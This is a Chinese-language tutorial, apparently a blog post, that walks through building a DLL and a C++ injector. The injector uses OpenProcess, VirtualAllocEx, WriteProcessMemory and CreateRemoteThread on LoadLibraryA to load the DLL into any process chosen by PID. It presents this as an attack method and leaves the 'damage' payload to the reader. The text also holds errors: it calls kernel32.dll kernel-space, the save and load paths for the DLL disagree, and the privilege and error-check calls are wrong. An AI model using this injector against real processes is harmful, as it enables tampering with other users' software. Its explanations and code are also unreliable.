dll注入是一种常用的攻击方法,其大概步骤如下:
1,编译出一个DLL,这个DLL的DllMain里面负责搞破坏
2,打开一个目标进程(就是你要搞破坏的进程)
3,在打开的目标进程里面分配一块内存(它的用处是用于放我们要注入的dll名称)
4,得到Kernel32.dll里面的LoadLibraryA的地址(注意,Kernel.dll是内核空间里面的,所以,在所有的进程里面,它的地址都一样的,所以LoadLibrary的地址在所有的进程里面也都是一样的)。
详细代码与过程如下所示:
1,打开Visual studio 2010,并且新建一个空的C++工程,我们不防命名为CPP,当然,如果你想命名为Donald Knuth也是可以的。
2,添加一个新的C++ 文件,不妨命名为ACM.cpp,当然,如果你想命名为BillGates.cpp也是可以的。
3,在上面的ACM.cpp里面输入以下代码:
#include <windows.h>
BOOL __stdcall DllMain( HANDLE hDllHandle, DWORD dwReason, LPVOID lpreserved ){
switch(dwReason){
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
MessageBox(NULL, TEXT("DLL加载"), TEXT("message"), MB_OK);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_DETACH:
MessageBox(NULL, TEXT("DLL卸载"), TEXT("message"), MB_OK);
break;
}
return (TRUE);
}
4,新建一个Library.def文件,输入以下内容:
LIBRARY "CPP"
EXPORTS
DllMain
5,设置这个空项目的类型为dll,并在Linker选项下面的Input下面的Module Definition File里面输入Library.def(上面新建的那个def文件的名字)
6,编译这个工程,得到了一个名字为CPP.dll的文件,将其保存在E:\\的根目录下面。
7,新建一个新的空项目,并添加一个文件main.cpp,输入以下内容:
#undef UNICODE
#include <windows.h>
#include <iostream>
using namespace std;
#define _T(queto) TEXT(queto)
void EnableProcessPrivilege(LPTSTR lpszPrivilege);
void InjectToProcess(DWORD dwProcessID, LPTSTR lpszDllName);
int main(){
DWORD dwProcessID;
cout<<"Please input the id of process which you want to inject!"<<endl;
cin>>dwProcessID;
//EnableProcessPrivilege(SE_DEBUG_NAME);
InjectToProcess(dwProcessID, "G:\\cpp.dll");
}
void EnableProcessPrivilege(LPTSTR lpszPrivilege){
HANDLE hToken;
TOKEN_PRIVILEGES priv= {1,{0, 0, SE_PRIVILEGE_ENABLED}};
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
DWORD Size= lstrlen(lpszPrivilege);
LookupPrivilegeName(NULL, &(priv.Privileges[0].Luid), lpszPrivilege, &Size);
AdjustTokenPrivileges(hToken, FALSE, &priv, sizeof(priv), NULL, NULL);
CloseHandle(hToken);
}
void InjectToProcess(DWORD dwProcessID, LPTSTR lpszDllName){
HANDLE hProcToInject= INVALID_HANDLE_VALUE;
LPVOID szDllName= NULL;
HMODULE hKernel;
LPTHREAD_START_ROUTINE ThreadProc;
HANDLE hRemoteThread;
DWORD dwFileNameLength;
__try{
hProcToInject= OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
if(hProcToInject== NULL){
cout<<"OPen process failed!"<<endl;
__leave;
}
dwFileNameLength= (lstrlen(lpszDllName)+ 1)* sizeof(TCHAR);
szDllName= VirtualAllocEx(hProcToInject, 0, dwFileNameLength, MEM_COMMIT, PAGE_READWRITE);
if(szDllName== NULL){
cout<<"alloc memory failed!"<<endl;
__leave;
}
if(!WriteProcessMemory(hProcToInject, szDllName, lpszDllName, dwFileNameLength, NULL)){
cout<<"wirite memory failed!"<<endl;
__leave;
}
hKernel = GetModuleHandle(_T("kernel32.dll"));
if(hKernel== INVALID_HANDLE_VALUE){
cout<<"get module handle failed!"<<endl;
__leave;
}
ThreadProc= (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel, "LoadLibraryA");
if(ThreadProc== NULL){
cout<<"Get function failed!"<<endl;
__leave;
}
hRemoteThread= CreateRemoteThread(hProcToInject, NULL, 0, ThreadProc, szDllName, 0, NULL);
if(hRemoteThread== NULL)
__leave;
//WaitForSingleObject(hRemoteThread, INFINITE);
}
__finally{
}
}
8,然后编译运行,会弹出一个黑框(Console),并提示你输入你要注入的进程的PID,此时,你可以打开任务管理器,并打开查看->选择列下面的pID标签。在这里你可以看到所有进程的PID,你那个黑框上面输入你想注入的进程的PID就可以了。至此,dll注入已经完成,当然,我没有搞破坏,如果你想搞破坏,那是你的事。
代码说明:
有些人可能说,我这里面非要在任务管理器里面输入PID,其实完全可以不需要这样,你可以使用Process32First和Process32Next两个函数遍历系统进程列表,然后从中找到你要注入的进程列表。